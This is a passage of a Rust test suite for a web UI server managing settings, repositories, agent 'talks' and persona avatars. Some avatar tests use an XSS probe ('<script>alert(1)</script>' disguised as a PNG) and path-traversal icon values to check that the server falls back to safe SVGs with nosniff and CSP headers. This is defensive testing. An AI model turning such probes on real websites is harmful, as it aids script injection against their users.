9727        let fresh = root.join("host/owner/fresh");
9728        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
9729        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
9730            .await
9731            .unwrap();
9732        assert_eq!(fresh_view.repositories.len(), 3);
9733    }
9734
9735    #[tokio::test]
9736    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
9737        let (tmp, repo, machine) = settings_dirs(
9738            "[roles]\nreviewers = [\"a\"]\n",
9739            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
9740        );
9741        let root = tmp.path().join("roots");
9742        let selected = root.join("host/owner/selected");
9743        settings_checkout(
9744            &selected,
9745            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
9746        )
9747        .await;
9748        let broken = root.join("host/owner/broken");
9749        settings_checkout(&broken, "[roles\nbroken").await;
9750        let machine_text = format!(
9751            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
9752            toml::Value::String(root.display().to_string())
9753        );
9754        std::fs::write(&machine, &machine_text).unwrap();
9755        let originals: Vec<_> = [&repo, &selected, &broken]
9756            .iter()
9757            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
9758            .collect();
9759        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9760        let default = f.get("/api/settings").await.json();
9761        assert_eq!(
9762            default["repo"],
9763            repo.canonicalize().unwrap().display().to_string()
9764        );
9765        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
9766        let query = format!("?repo={}", selected.display());
9767        let res = f.get(&format!("/api/settings{query}")).await;
9768        assert_eq!(res.status, 200, "{}", res.body);
9769        let v = res.json();
9770        assert!(v["error"].is_null(), "{v}");
9771        assert_eq!(v["repositories"], default["repositories"]);
9772        let role = |key: &str| {
9773            v["roles"]
9774                .as_array()
9775                .unwrap()
9776                .iter()
9777                .find(|r| r["key"] == key)
9778                .unwrap()
9779        };
9780        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
9781        assert_eq!(role("advisors")["source"], "repo");
9782        assert_eq!(role("advisors")["editable"], false);
9783        assert!(role("advisors")["machine_value"].is_null());
9784        assert_eq!(role("judges")["count"]["value"], 2);
9785        assert_eq!(role("judges")["count"]["machine_value"], 1);
9786        assert_eq!(role("judges")["count"]["source"], "repo");
9787        let source = role("judges")["count"]["source_path"].as_str().unwrap();
9788        assert!(
9789            source.contains("origin/main") && !source.contains("magi/config/"),
9790            "{source}"
9791        );
9792        assert_eq!(
9793            role("reviewers")["editable"],
9794            false,
9795            "default context outside roots must protect its declarations"
9796        );
9797        let body =
9798            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
9799        let unknown = format!("?repo={}", tmp.path().display());
9800        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
9801        assert_eq!(
9802            f.put(&format!("/api/settings/roles{unknown}"), &body)
9803                .await
9804                .status,
9805            422
9806        );
9807        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
9808        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
9809            .to_string();
9810        assert_eq!(
9811            f.put(&format!("/api/settings/roles{query}"), &refuse)
9812                .await
9813                .status,
9814            422
9815        );
9816        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
9817        assert_eq!(saved.status, 200, "{}", saved.body);
9818        assert_eq!(saved.json()["repo"], v["repo"]);
9819        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9820        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9821        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
9822            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
9823        }
9824        let error = f
9825            .get(&format!("/api/settings?repo={}", broken.display()))
9826            .await;
9827        assert_eq!(error.status, 200);
9828        assert!(error.json()["error"]["message"].is_string());
9829        assert_eq!(error.json()["repositories"], default["repositories"]);
9830    }
9831
9832    #[tokio::test]
9833    async fn settings_get_reports_sources_and_the_advisors_fallback() {
9834        let (_tmp, repo, machine) =
9835            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
9836        let f = Fixture::with_repo_and_machine(repo, machine).await;
9837        let res = f.get("/api/settings").await;
9838        assert_eq!(res.status, 200, "{}", res.body);
9839        let v = res.json();
9840        assert!(v["error"].is_null(), "{v}");
9841        let role = |k: &str| {
9842            v["roles"]
9843                .as_array()
9844                .and_then(|r| r.iter().find(|x| x["key"] == k))
9845                .cloned()
9846                .unwrap_or_else(|| panic!("no role {k}: {v}"))
9847        };
9848        assert_eq!(role("judges")["source"], "machine");
9849        assert_eq!(role("judges")["editable"], true);
9850        assert_eq!(role("implementers")["source"], "default");
9851        let adv = role("advisors");
9852        assert_eq!(adv["fallback"], "judges");
9853        assert!(
9854            adv["seats"]
9855                .as_array()
9856                .is_some_and(|s| s.iter().all(|x| x == "b")),
9857            "{adv}"
9858        );
9859        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
9860        assert_eq!(v["agents"][0]["source"], "repo");
9861    }
9862
9863    #[tokio::test]
9864    async fn settings_get_reports_a_config_that_does_not_parse() {
9865        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9866        let f = Fixture::with_repo_and_machine(repo, machine).await;
9867        let res = f.get("/api/settings").await;
9868        assert_eq!(res.status, 200, "{}", res.body);
9869        let v = res.json();
9870        assert!(v["error"]["message"].is_string(), "{v}");
9871        assert!(
9872            v["error"]["path"]
9873                .as_str()
9874                .is_some_and(|p| p.ends_with("magi.toml")),
9875            "{v}"
9876        );
9877        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9878    }
9879
9880    #[tokio::test]
9881    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9882        let (_tmp, repo, machine) = settings_dirs(
9883            SETTINGS_AGENTS,
9884            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
9885        );
9886        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9887        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9888        let rev = f.get("/api/settings").await.json()["revision"]
9889            .as_str()
9890            .expect("revision")
9891            .to_owned();
9892        let body = serde_json::json!({
9893            "revision": rev,
9894            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9895        })
9896        .to_string();
9897        let res = f.put("/api/settings/roles", &body).await;
9898        assert_eq!(res.status, 200, "{}", res.body);
9899        let text = std::fs::read_to_string(&machine).expect("machine");
9900        assert_eq!(
9901            text,
9902            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9903        );
9904        assert_eq!(
9905            std::fs::read(repo.join("magi.toml")).expect("read"),
9906            repo_before
9907        );
9908        let again = f.get("/api/settings").await.json();
9909        let judges = again["roles"]
9910            .as_array()
9911            .expect("roles")
9912            .iter()
9913            .find(|r| r["key"] == "judges")
9914            .expect("judges")
9915            .clone();
9916        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9917        // The old revision is now stale.
9918        let stale = f.put("/api/settings/roles", &body).await;
9919        assert_eq!(stale.status, 409, "{}", stale.body);
9920    }
9921
9922    #[tokio::test]
9923    async fn settings_counts_are_reported_and_saved() {
9924        let (_tmp, repo, machine) = settings_dirs(
9925            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9926            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9927        );
9928        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9929        let v = f.get("/api/settings").await.json();
9930        let count = |v: &serde_json::Value, k: &str| {
9931            v["roles"]
9932                .as_array()
9933                .and_then(|r| r.iter().find(|x| x["key"] == k))
9934                .map(|x| x["count"].clone())
9935                .unwrap_or_else(|| panic!("no role {k}: {v}"))
9936        };
9937        let imp = count(&v, "implementers");
9938        assert_eq!(imp["value"], 2);
9939        assert_eq!(imp["source"], "machine");
9940        assert_eq!(imp["file_key"], "candidates");
9941        assert_eq!(imp["roster_len"], 2);
9942        assert_eq!(imp["backups"], 0);
9943        assert_eq!(count(&v, "judges")["source"], "default");
9944        assert_eq!(count(&v, "advisors")["min"], 0);
9945        assert_eq!(count(&v, "reviewers")["editable"], false);
9946        assert!(
9947            count(&v, "reviewers")["locked_reason"]
9948                .as_str()
9949                .is_some_and(|m| m.contains("graph.reviewers"))
9950        );
9951        assert!(count(&v, "fixer").is_null());
9952        let rev = v["revision"].as_str().expect("revision").to_owned();
9953        let body = serde_json::json!({
9954            "revision": rev,
9955            "roles": { "judges": ["b"] },
9956            "counts": { "implementers": 1, "advisors": 0 }
9957        })
9958        .to_string();
9959        let res = f.put("/api/settings/roles", &body).await;
9960        assert_eq!(res.status, 200, "{}", res.body);
9961        let text = std::fs::read_to_string(&machine).expect("machine");
9962        assert_eq!(
9963            text,
9964            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9965        );
9966        let after = f.get("/api/settings").await.json();
9967        assert_eq!(count(&after, "implementers")["value"], 1);
9968        assert_eq!(count(&after, "implementers")["backups"], 1);
9969        assert_eq!(count(&after, "advisors")["value"], 0);
9970        let before = std::fs::read_to_string(&machine).expect("machine");
9971        let rev = after["revision"].as_str().expect("revision").to_owned();
9972        for counts in [
9973            serde_json::json!({ "judges": 0 }),
9974            serde_json::json!({ "judges": "x" }),
9975            serde_json::json!({ "judges": 2.5 }),
9976            serde_json::json!({ "judges": -1 }),
9977            serde_json::json!({ "reviewers": 3 }),
9978            serde_json::json!({ "bogus": 3 }),
9979        ] {
9980            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9981            let res = f.put("/api/settings/roles", &body).await;
9982            assert_eq!(res.status, 422, "{counts}: {}", res.body);
9983            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9984        }
9985    }
9986
9987    #[tokio::test]
9988    async fn settings_put_refuses_without_touching_the_file() {
9989        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9990        let (_tmp, repo, machine) = settings_dirs(
9991            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9992            Some(machine_text),
9993        );
9994        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9995        let rev = f.get("/api/settings").await.json()["revision"]
9996            .as_str()
9997            .expect("revision")
9998            .to_owned();
9999        for roles in [
10000            serde_json::json!({ "judges": ["nope"] }),
10001            serde_json::json!({ "reviewers": ["b"] }),
10002            serde_json::json!({ "bogus": ["a"] }),
10003        ] {
10004            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10005            let res = f.put("/api/settings/roles", &body).await;
10006            assert_eq!(res.status, 422, "{roles}: {}", res.body);
10007            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10008            assert_eq!(
10009                std::fs::read_to_string(&machine).expect("machine"),
10010                machine_text
10011            );
10012        }
10013    }
10014
10015    #[tokio::test]
10016    async fn repos_list_returns_name_and_path_for_every_configured_root() {
10017        let tmp = TempDir::new().expect("tempdir");
10018        let repo = tmp.path().join("repo");
10019        std::fs::create_dir_all(&repo).expect("repo dir");
10020        let root = tmp.path().join("root");
10021        make_checkout(&root, "github.com", "yukimemi", "magi");
10022        std::fs::write(
10023            repo.join("magi.toml"),
10024            format!(
10025                "[repos]\nroots = [{:?}]\n",
10026                root.to_string_lossy().into_owned()
10027            ),
10028        )
10029        .expect("write magi.toml");
10030
10031        let f = Fixture::with_repo(repo).await;
10032        let res = f.get("/api/repos").await;
10033        assert_eq!(res.status, 200, "{}", res.body);
10034        let list = res.json();
10035        let repos = list.as_array().expect("an array");
10036        assert_eq!(repos.len(), 1);
10037        assert_eq!(repos[0]["name"], "yukimemi/magi");
10038        assert!(
10039            repos[0]["path"]
10040                .as_str()
10041                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10042            "{list}"
10043        );
10044    }
10045
10046    #[tokio::test]
10047    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10048        let tmp = TempDir::new().expect("tempdir");
10049        let repo = tmp.path().join("repo");
10050        std::fs::create_dir_all(&repo).expect("repo dir");
10051        let root = tmp.path().join("root");
10052        make_checkout(&root, "github.com", "yukimemi", "magi");
10053        std::fs::write(
10054            repo.join("magi.toml"),
10055            format!(
10056                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10057                root.to_string_lossy().into_owned()
10058            ),
10059        )
10060        .expect("write magi.toml");
10061
10062        let f = Fixture::with_repo(repo).await;
10063        let first = f.get("/api/repos").await;
10064        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10065
10066        // A second checkout appears; within the TTL the cached answer must
10067        // not notice it.
10068        make_checkout(&root, "github.com", "yukimemi", "rvpm");
10069        let second = f.get("/api/repos").await;
10070        assert_eq!(
10071            second.json().as_array().map(Vec::len),
10072            Some(1),
10073            "a fresh cache must not rescan inside the TTL"
10074        );
10075
10076        let refreshed = f.get("/api/repos?refresh=1").await;
10077        assert_eq!(
10078            refreshed.json().as_array().map(Vec::len),
10079            Some(2),
10080            "an explicit refresh must rescan even inside the TTL"
10081        );
10082    }
10083
10084    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
10085    /// string, declared straight in a repository's own `magi.toml` rather
10086    /// than the operator's real roster. No real agent CLI is spawned - `sh`
10087    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
10088    /// this is safe to run over a real HTTP round trip.
10089    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10090
10091    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
10092    /// real `Config::discover` to find an agent - `talk::begin` resolves one
10093    /// even though it takes no turn, and `talk_say` invokes one.
10094    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10095        let tmp = TempDir::new().expect("tempdir");
10096        let repo = tmp.path().join("repo");
10097        std::fs::create_dir_all(&repo).expect("repo dir");
10098        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10099        let f = Fixture::with_repo(repo.clone()).await;
10100        (tmp, repo, f)
10101    }
10102
10103    #[tokio::test]
10104    async fn posting_a_talk_with_remembered_choices_is_soft() {
10105        let (_tmp, _repo, f) = talk_fixture().await;
10106
10107        let good = f
10108            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10109            .await;
10110        assert_eq!(good.status, 201, "{}", good.body);
10111        assert_eq!(good.json()["persona"], "rei");
10112
10113        // Wrong values and wrong types are dropped one by one, never a 4xx.
10114        let stale = f
10115            .post(
10116                "/api/talks",
10117                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10118            )
10119            .await;
10120        assert_eq!(stale.status, 201, "{}", stale.body);
10121        let v = stale.json();
10122        assert_eq!(v["implementers"], 1);
10123        assert_ne!(v["persona"], "nobody");
10124        let typed = f
10125            .post(
10126                "/api/talks",
10127                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10128            )
10129            .await;
10130        assert_eq!(typed.status, 201, "{}", typed.body);
10131
10132        // The strict `agent` field still refuses an unknown id.
10133        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10134        assert!(
10135            !strict.status.to_string().starts_with('2'),
10136            "{}",
10137            strict.body
10138        );
10139    }
10140
10141    #[tokio::test]
10142    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10143        let (_tmp, _repo, f) = talk_fixture().await;
10144
10145        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
10146        // is the ordinary way a phone opens a talk.
10147        let opened = f.post("/api/talks", None).await;
10148        assert_eq!(opened.status, 201, "{}", opened.body);
10149        let body = opened.json();
10150        assert_eq!(body["status"], "open");
10151        assert_eq!(
10152            body["turns"].as_array().unwrap().len(),
10153            0,
10154            "opening takes no agent turn: there is nothing yet to answer"
10155        );
10156
10157        // An explicit empty object is the same request as none at all.
10158        let also_opened = f.post("/api/talks", Some("{}")).await;
10159        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10160
10161        let listed = f.get("/api/talks").await.json();
10162        assert_eq!(listed.as_array().unwrap().len(), 2);
10163    }
10164
10165    #[tokio::test]
10166    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10167        let tmp = TempDir::new().expect("tempdir");
10168        let repo = tmp.path().join("repo");
10169        std::fs::create_dir_all(&repo).expect("repo dir");
10170        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10171        std::fs::write(
10172            repo.join("magi.toml"),
10173            format!("{MOCK_AGENT_TOML}\n{second}"),
10174        )
10175        .expect("write magi.toml");
10176        let home = TempDir::new().expect("temp home");
10177        let talks = Talks::at(home.path().join("talks"));
10178        let ui = Arc::new(
10179            Ui::new(
10180                Queue::at(home.path().join("queue")),
10181                Questions::at(home.path().join("questions")),
10182                talks.clone(),
10183                home.path().join("runs"),
10184                home.path().to_path_buf(),
10185                repo.clone(),
10186            )
10187            .with_worktrees_root(home.path().join("wt")),
10188        );
10189        let cfg = config_for(&repo).await.expect("discover config");
10190        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10191        let id = talk.id.clone();
10192        let call = |agent: &str| {
10193            talk_agent(
10194                State(Arc::clone(&ui)),
10195                Path(id.clone()),
10196                Json(TalkAgent {
10197                    agent: agent.to_owned(),
10198                }),
10199            )
10200        };
10201
10202        let unknown = call("nobody").await.expect_err("unknown agent");
10203        assert_eq!(
10204            unknown.status,
10205            StatusCode::BAD_REQUEST,
10206            "{}",
10207            unknown.message
10208        );
10209
10210        {
10211            // Nothing refused so far took a claim, so the guard is free to take
10212            // and holding it is what makes the talk busy.
10213            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10214            let busy = call("second").await.expect_err("busy talk");
10215            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10216            assert!(
10217                busy.message.contains("a talk turn is running"),
10218                "{}",
10219                busy.message
10220            );
10221            drop(guard);
10222        }
10223        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10224
10225        let Json(view) = call("second").await.expect("switch");
10226        assert_eq!(view.talk.agent, "second");
10227        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10228        let saved = talks.get(&id).expect("reload");
10229        assert_eq!(saved.agent, "second");
10230        assert_eq!(saved.turns.len(), 1);
10231        assert!(!view.thinking);
10232        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10233        for agent in ["mock", "second"] {
10234            let Json(view) = call(agent).await.expect("immediate consecutive change");
10235            assert_eq!(view.talk.agent, agent);
10236            assert!(!view.thinking);
10237            assert!(!ui.is_thinking(&id));
10238        }
10239
10240        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10241            .await
10242            .expect("detail");
10243        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10244        assert_eq!(roster, ["mock", "second"]);
10245
10246        let mut closed = talks.get(&id).expect("reload");
10247        talk::close(&mut closed, &talks).expect("close");
10248        let refused = call("mock").await.expect_err("closed talk");
10249        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10250        assert!(
10251            refused.message.contains("takes no more turns"),
10252            "{}",
10253            refused.message
10254        );
10255    }
10256
10257    #[tokio::test]
10258    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10259        let tmp = TempDir::new().expect("tempdir");
10260        let repo = tmp.path().join("repo");
10261        std::fs::create_dir_all(&repo).expect("repo dir");
10262        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10263        let home = TempDir::new().expect("temp home");
10264        let talks = Talks::at(home.path().join("talks"));
10265        let ui = Arc::new(
10266            Ui::new(
10267                Queue::at(home.path().join("queue")),
10268                Questions::at(home.path().join("questions")),
10269                talks.clone(),
10270                home.path().join("runs"),
10271                home.path().to_path_buf(),
10272                repo.clone(),
10273            )
10274            .with_worktrees_root(home.path().join("wt")),
10275        );
10276        let cfg = config_for(&repo).await.expect("discover config");
10277        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10278        let id = talk.id.clone();
10279        let call = |n: u8| {
10280            talk_implementers(
10281                State(Arc::clone(&ui)),
10282                Path(id.clone()),
10283                Json(TalkImplementers { implementers: n }),
10284            )
10285        };
10286
10287        for bad in [0u8, 4] {
10288            let e = call(bad).await.expect_err("out of range");
10289            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10290        }
10291        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10292
10293        {
10294            // Nothing refused so far took a claim, so the guard is free to take
10295            // and holding it is what makes the talk busy.
10296            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10297            let busy = call(2).await.expect_err("busy talk");
10298            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10299            assert!(
10300                busy.message.contains("a talk turn is running"),
10301                "{}",
10302                busy.message
10303            );
10304            drop(guard);
10305        }
10306
10307        let Json(view) = call(3).await.expect("switch");
10308        assert_eq!(view.talk.implementers, 3);
10309        assert!(talks.get(&id).expect("reload").implementers_dirty);
10310        assert!(!view.thinking);
10311        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10312        for n in [1, 2, 3] {
10313            let Json(view) = call(n).await.expect("immediate consecutive change");
10314            assert_eq!(view.talk.implementers, n);
10315            assert!(!view.thinking);
10316            assert!(!ui.is_thinking(&id));
10317        }
10318
10319        let mut closed = talks.get(&id).expect("reload");
10320        talk::close(&mut closed, &talks).expect("close");
10321        let e = call(2).await.expect_err("closed talk");
10322        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10323        assert!(e.message.contains("takes no more turns"), "{}", e.message);
10324    }
10325
10326    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
10327    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10328        let tmp = TempDir::new().expect("tempdir");
10329        let repo = tmp.path().join("repo");
10330        std::fs::create_dir_all(&repo).expect("repo dir");
10331        std::fs::write(
10332            repo.join("magi.toml"),
10333            format!("{MOCK_AGENT_TOML}\n{extra}"),
10334        )
10335        .expect("write magi.toml");
10336        let home = TempDir::new().expect("temp home");
10337        let talks = Talks::at(home.path().join("talks"));
10338        let ui = Arc::new(
10339            Ui::new(
10340                Queue::at(home.path().join("queue")),
10341                Questions::at(home.path().join("questions")),
10342                talks.clone(),
10343                home.path().join("runs"),
10344                home.path().to_path_buf(),
10345                repo.clone(),
10346            )
10347            .with_worktrees_root(home.path().join("wt")),
10348        );
10349        let cfg = config_for(&repo).await.expect("discover config");
10350        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10351        (tmp, home, ui, talk.id, repo)
10352    }
10353
10354    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
10355    async fn avatar(
10356        ui: &Arc<Ui>,
10357        id: &str,
10358        persona: Option<&str>,
10359        builtin: bool,
10360    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
10361        let res = talk_avatar(
10362            State(Arc::clone(ui)),
10363            Path(id.to_owned()),
10364            Query(AvatarQuery {
10365                persona: persona.map(str::to_owned),
10366                builtin: builtin.then(|| "1".to_owned()),
10367            }),
10368        )
10369        .await
10370        .expect("an avatar is never an error response");
10371        let h = res.headers();
10372        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
10373        let nosniff = h
10374            .get(header::X_CONTENT_TYPE_OPTIONS)
10375            .is_some_and(|v| v == "nosniff");
10376        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
10377        let status = res.status();
10378        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10379            .await
10380            .expect("body")
10381            .to_vec();
10382        (status, ct, nosniff, csp, body)
10383    }
10384
10385    fn tiny_png() -> Vec<u8> {
10386        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
10387        b.extend_from_slice(&[0u8; 32]);
10388        b
10389    }
10390
10391    #[tokio::test]
10392    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
10393        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
10394        for p in [
10395            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
10396        ] {
10397            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
10398            assert_eq!(status, StatusCode::OK, "{p}");
10399            assert_eq!(ct, "image/svg+xml", "{p}");
10400            assert!(nosniff && csp, "{p}");
10401            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
10402        }
10403        // No `persona` means the conversation's own; unknown ones fall back.
10404        let own = avatar(&ui, &id, None, false).await;
10405        let default = avatar(&ui, &id, Some("default"), false).await;
10406        assert_eq!(own.4, default.4);
10407        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
10408        assert_eq!(unknown.1, "image/svg+xml");
10409    }
10410
10411    #[tokio::test]
10412    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10413        let dir = TempDir::new().expect("icons");
10414        let good = dir.path().join("good.png");
10415        std::fs::write(&good, tiny_png()).unwrap();
10416        let spoof = dir.path().join("spoof.png");
10417        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10418        let big = dir.path().join("big.png");
10419        let mut bytes = tiny_png();
10420        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10421        std::fs::write(&big, bytes).unwrap();
10422        let missing = dir.path().join("missing.png");
10423        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10424        let extra = format!(
10425            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10426             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10427             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10428             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
10429             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
10430             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
10431            uri(&good),
10432            uri(&spoof),
10433            uri(&big),
10434            uri(&missing),
10435        );
10436        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10437
10438        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
10439        assert_eq!(
10440            (status, ct.as_str(), nosniff),
10441            (StatusCode::OK, "image/png", true)
10442        );
10443        assert_eq!(body, tiny_png());
10444        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
10445        assert_eq!(ct, "image/png", "data URI");
10446
10447        for p in ["misato", "asuka", "shinji", "magi"] {
10448            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
10449            assert_eq!(
10450                (status, ct.as_str(), csp),
10451                (StatusCode::OK, "image/svg+xml", true),
10452                "{p}"
10453            );
10454            assert!(body.starts_with(b"<svg"), "{p}");
10455        }
10456        // The page's own retry skips the icon.
10457        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
10458        assert_eq!(ct, "image/svg+xml");
10459    }
10460
10461    #[tokio::test]
10462    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
10463        let oversized = format!(
10464            "data:image/png;base64,{}",
10465            "A".repeat(persona_icon::ICON_MAX_BYTES)
10466        );
10467        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
10468            let extra = format!(
10469                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
10470            );
10471            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10472            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10473                .await
10474                .expect("detail with invalid icon");
10475            assert!(detail.personas.iter().any(|p| p.id == "custom"));
10476            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
10477            assert_eq!(status, StatusCode::OK);
10478            assert_eq!(ct, "image/svg+xml");
10479            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
10480            let Json(view) = talk_persona(
10481                State(Arc::clone(&ui)),
10482                Path(id.clone()),
10483                Json(TalkPersona {
10484                    persona: "custom".into(),
10485                }),
10486            )
10487            .await
10488            .expect("persona switch with invalid icon");
10489            assert_eq!(view.talk.persona, "custom");
10490            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
10491        }
10492    }
10493
10494    #[tokio::test]
10495    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
10496        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10497        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
10498        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
10499        assert_eq!(
10500            (status, ct.as_str(), nosniff, csp),
10501            (StatusCode::OK, "image/svg+xml", true, true)
10502        );
10503    }
10504
10505    #[tokio::test]
10506    async fn the_talk_view_carries_server_built_avatar_urls_only() {
10507        let (_t, _h, ui, id, _repo) =
10508            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
10509        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10510            .await
10511            .expect("detail");
10512        let json = serde_json::to_string(&detail).unwrap();
10513        assert!(
10514            !json.contains("secret"),
10515            "the icon setting must not leak: {json}"
10516        );
10517        assert!(
10518            detail
10519                .view
